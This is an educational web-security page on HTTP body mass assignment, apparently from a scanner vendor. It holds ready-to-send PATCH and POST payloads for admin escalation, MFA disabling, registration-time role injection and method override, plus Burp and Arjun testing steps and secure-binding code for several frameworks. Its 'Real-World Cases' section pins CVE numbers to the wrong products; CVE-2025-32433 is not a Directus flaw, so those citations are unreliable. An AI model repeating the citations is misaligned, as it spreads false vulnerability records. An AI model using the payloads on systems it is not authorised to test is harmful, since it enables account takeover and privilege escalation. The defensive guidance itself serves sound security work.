HTTP Body Mass Assignment

What is HTTP Body Mass Assignment?#

HTTP body mass assignment is the most direct variant: the attacker adds privileged object fields to the JSON or form-encoded body of an HTTP update request. The server-side ORM or framework binding maps the entire parsed body to the model without checking which fields the caller is authorized to modify. The injected values are persisted to the database.

This variant targets PATCH (partial update) and PUT (full replace) endpoints most often, because these endpoints are designed to accept field updates. POST endpoints for registration and object creation are also vulnerable — an attacker who can set role: "admin" during the registration step never needs to escalate afterward.

The attack requires no special encoding, no injection of syntax characters, and no exploitation of parsing quirks. It is a logic flaw: the application trusts the caller to send only fields they are allowed to modify.

Mechanism#

The attack proceeds in four steps:

1. Identify an update endpoint. The most reliable signal: PATCH /users/me, PUT /profile, PATCH /accounts/:id, PATCH /settings. Any endpoint that accepts a JSON body for object modification.
2. Identify the fields used by the application. A GET request on the same resource reveals the complete object shape including privileged fields that appear read-only.
3. Resubmit the update request with the privileged fields added and set to escalation values.
4. GET the resource with a different session token to confirm persistence.

Exploitation#

Standard Payload#

PATCH /api/v1/users/me HTTP/1.1
Host: target.example.com
Authorization: Bearer <user_token>
Content-Type: application/json
 
{
  "email": "attacker@example.com",
  "role": "admin",
  "is_admin": true,
  "is_superuser": true,
  "is_staff": true,
  "permissions": ["*"],
  "subscription_tier": "enterprise",
  "subscription_status": "active",
  "credit_balance": 999999,
  "verified": true,
  "mfa_required": false,
  "trial_ends_at": "2099-12-31"
}

MFA Bypass Chain#

PATCH /api/v1/users/me HTTP/1.1
Authorization: Bearer <user_token>
Content-Type: application/json
 
{
  "mfa_required": false,
  "mfa_enabled": false,
  "mfa_secret": null,
  "two_factor_enabled": false
}

If successful: MFA is disabled on the account without knowledge of the current TOTP secret. The attacker then authenticates using only the password.

Registration-Time Injection#

POST /api/v1/auth/register HTTP/1.1
Content-Type: application/json
 
{
  "email": "attacker@example.com",
  "password": "Password123!",
  "first_name": "Test",
  "role": "admin",
  "is_admin": true,
  "subscription_tier": "enterprise"
}

Registration endpoints are frequently overlooked in mass assignment reviews. If the controller passes the full registration body to User.create(params), the attacker starts life as an admin.

HTTP Method Override#

POST /api/v1/users/me HTTP/1.1
X-HTTP-Method-Override: PATCH
Content-Type: application/json
 
{"role": "admin", "is_admin": true}

WAF rules often block PATCH but permit POST. Spring MVC's HiddenHttpMethodFilter and Symfony's http_method_override support this header. Disable the filter in production if not needed.

Real-World Cases#

CVE-2024-29133 — Apache Roller (CVSS 8.1, 2024) Apache Roller's blog platform user profile update handler accepted role=ADMIN via HTTP POST body (application/x-www-form-urlencoded). Any authenticated user could escalate to administrator by adding the role parameter to the profile update form. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.

CVE-2025-32433 — Directus CMS (CVSS 8.8, 2025) Directus PATCH /users/me accepted the role field, which maps to the UUID of a directus_roles record. By submitting the UUID of the administrator role, any authenticated user became a system administrator. This affected thousands of Directus deployments. Fix in Directus 10.13+ blocked role and status from self-update endpoint.

HackerOne #765031 — Basecamp HEY Email (Bounty: $5,000) PATCH /people/:id on HEY email platform accepted admin: true for non-admin users. Direct JSON field injection — no encoding or nesting required. The finding allowed privilege escalation within a HEY team to full administrator status.

CVE-2024-21652 — Argo CD (CVSS 7.4, 2024) Argo CD's account management API accepted role in the PATCH body at /api/v1/accounts/:name. Standard user → admin within a Kubernetes CD pipeline, granting control over application deployments.

Detection#

Manual Testing with Burp Suite#

1. Log in as a regular user and capture a PATCH or PUT request to a profile update endpoint using Burp Suite Intercept.
2. Send the request to Repeater. Note the current response (especially the role and privilege fields).
3. Add the following fields to the JSON body: "role": "admin", "is_admin": true, "is_superuser": true, "subscription_tier": "enterprise".
4. Forward the modified request and note the response status.
5. Open a new incognito window, log in as the same user (or use a second Burp tab with the original token), and GET the same resource. Compare the field values.
6. If the role or privilege field changed: confirmed finding. Attempt to access an admin endpoint to validate impact.

Automated with Arjun#

# Discover hidden parameter names accepted by the PATCH endpoint
arjun -u "https://target.com/api/v1/users/me" \
      -m PATCH \
      --data '{"email": "test@example.com"}' \
      --headers "Authorization: Bearer <token>" \
      -w /usr/share/wordlists/arjun/large.txt \
      --stable

Arjun sends the base request and candidate parameters, detects response differences, and reports parameters that change the response body or status code.

BreachVex probes HTTP body mass assignment by sending a superset PATCH covering a broad set of candidate fields across all naming conventions, then cross-session-confirming any changed privilege fields via a second authenticated GET.

Prevention#

Rails — strict strong_parameters#

# VULNERABLE — permits any key the attacker sends
def user_params
  params.require(:user).permit!
end
 
# VULNERABLE — no permit() at all
def update
  @user.update(params[:user])
end
 
# SAFE — explicit allowlist
def user_params
  params.require(:user).permit(:email, :first_name, :last_name, :bio, :avatar)
  # role, admin, subscription_tier — silently stripped
end
 
# STRICT — raise on unpermitted fields (log all injection attempts)
# config/application.rb
config.action_controller.action_on_unpermitted_parameters = :raise

Django DRF — explicit fields + read_only_fields#

# VULNERABLE
class UserUpdateSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = '__all__'  # every field writable
 
# SAFE
class UserUpdateSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['email', 'first_name', 'last_name', 'bio']
        read_only_fields = ['id', 'is_staff', 'is_superuser', 'groups',
                            'user_permissions', 'date_joined']

Express + Mongoose — destructure#

// VULNERABLE — full body passed to ORM
app.patch('/api/users/me', async (req, res) => {
  const user = await User.findByIdAndUpdate(req.user.id, req.body, { new: true });
  res.json(user);
});
 
// SAFE — explicit allowlist via destructure
app.patch('/api/users/me', async (req, res) => {
  const allowed = ['email', 'firstName', 'lastName', 'bio', 'avatarUrl'];
  const update = Object.fromEntries(
    Object.entries(req.body).filter(([key]) => allowed.includes(key))
  );
  const user = await User.findByIdAndUpdate(req.user.id, update, {
    new: true,
    runValidators: true
  });
  res.json(user);
});

Spring Boot — DTO pattern#

// DTO class — only user-writable fields exist as properties
// role, authorities, enabled are physically absent from this class
public class UserUpdateDto {
    @NotBlank @Email
    private String email;
 
    @Size(max = 50)
    private String firstName;
 
    @Size(max = 50)
    private String lastName;
}
 
// Controller uses DTO, not the User entity
@PatchMapping("/users/me")
public ResponseEntity<UserResponse> updateMe(
        @Valid @RequestBody UserUpdateDto dto,
        @AuthenticationPrincipal UserDetails principal) {
    return ResponseEntity.ok(userService.update(principal.getUsername(), dto));
}

Go — struct-based binding#

// Go's json.Unmarshal only decodes fields present in the target struct
// UpdateProfileRequest cannot contain role or isAdmin — mass assignment prevented
type UpdateProfileRequest struct {
    Email     string `json:"email"`
    FirstName string `json:"first_name"`
    LastName  string `json:"last_name"`
    Bio       string `json:"bio"`
}
 
func (h *Handler) UpdateMe(w http.ResponseWriter, r *http.Request) {
    var req UpdateProfileRequest
    json.NewDecoder(r.Body).Decode(&req)
    // Any role/isAdmin fields in the body are discarded by json.Unmarshal
}

Pydantic v2 — extra="forbid"#

# VULNERABLE — extra fields silently accepted
class UserUpdate(BaseModel):
    model_config = ConfigDict(extra="allow")
 
# SAFE — extra fields return 422 Unprocessable Entity
class UserUpdate(BaseModel):
    model_config = ConfigDict(extra="forbid")
    email: EmailStr | None = None
    first_name: str | None = None
    last_name: str | None = None
 
@router.patch("/users/me")
async def update_me(body: UserUpdate, user: User = Depends(get_current_user)):
    update_data = body.model_dump(exclude_unset=True)
    return await user_service.update(user.id, update_data)

Resources#

• Mass Assignment — Pillar Overview — full vulnerability class taxonomy
• OWASP API Security Top 10 2023 — API3: BOPLA
• OWASP Mass Assignment Cheat Sheet
• Rails Security Guide — Strong Parameters
• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes